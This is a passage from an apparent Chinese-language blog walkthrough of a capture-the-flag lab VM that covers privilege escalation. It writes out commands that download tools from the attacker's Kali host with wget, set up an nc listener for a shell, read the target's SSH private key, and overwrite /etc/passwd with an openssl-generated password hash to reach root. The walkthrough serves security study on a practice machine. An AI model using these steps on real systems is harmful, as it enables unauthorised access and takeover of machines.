​ 访问不存在的界面,会自动跳转到404界面,然后代码执行成功,kali成功获取权限

image-20220531162107439

image-20220531162130569

四、权限提成

1、获取交互式界面
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20220531162238730

​ 在home目录下发现了用户名demodocker,继续探索

似乎我们在一个docker容器中,然后,我们发现一个包含提示的注释,在/home/demodocker/.local目录下发现了note.txt

ZW5jb2RlZCB0d2ljZSBMUzB0YVhBdExTMHZabk52WTJsbGRIa3VaWGhs

encoded twice LS0taXAtLS0vZnNvY2lldHkuZXhl

---ip---/fsociety.exe
2、下载fsociety.exe

image-20220531163249105

wget http://192.168.72.131/fsociety.exe
3、利用wine执行程序

​ 可以在linux下执行winodws程序

wine fsociety.exe 
USERNAME : elliot
PASSWORD : mrrobot

image-20220531164404058

4、开启nc监听

​ 由于靶机未安装nc,所以我们让其下载kali端的nc

  • Kali
cp /etc/alternatives/nc /tmp/nc 
python3 -m http.server 80
  • 靶机
wget http://192.168.72.129/nc
chmod +x nc		#增加权限

image-20220531165112141

image-20220531165204182

./nc -lvp 8888

image-20220531165412234

成功获取权限

5、得到Flag1

image-20220531165633637

当我们运行cd命令时,获得的会话将关闭,因此我们可以以读取私有ssh密钥为目标,以获得更稳定的shell

6、创建公钥文件
ssh-keygen -t rsa -b 4096 -v

image-20220531170305254

image-20220531170433301

生成一个公钥一个私钥

7、读取靶机私钥

image-20220531170849164

8、kali配置私钥

将靶机的私钥赋值到kali当中

image-20220531171102283

  • 设置权限
chmod 600 id_rsa
9、ssh登录

​ 我们通过 ssh 得到一个 shell 日志记录,在本例中,它在端口 7894 上运行

ssh docksec@192.168.72.131  -i id_rsa -p 7894		#7894为nmap扫描出来的SSH端口

image-20220531171407378

image-20220531171505121

发现第二个用户jeevan

我们发现,对于/etc/passwd文件,我们有写入的权限

image-20220531171820818

因此,我们可以使用openssl生成一个新密码,然后使用文本编辑器修改

openssl passwd 123123
omZuo2kVpn9HY

image-20220531172007777

可以将x位置修改为密码。

image-20220531172128677

进入root

image-20220531172155219

10、得到Flag2

image-20220531172307748

  • 6
    点赞
  • 50
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值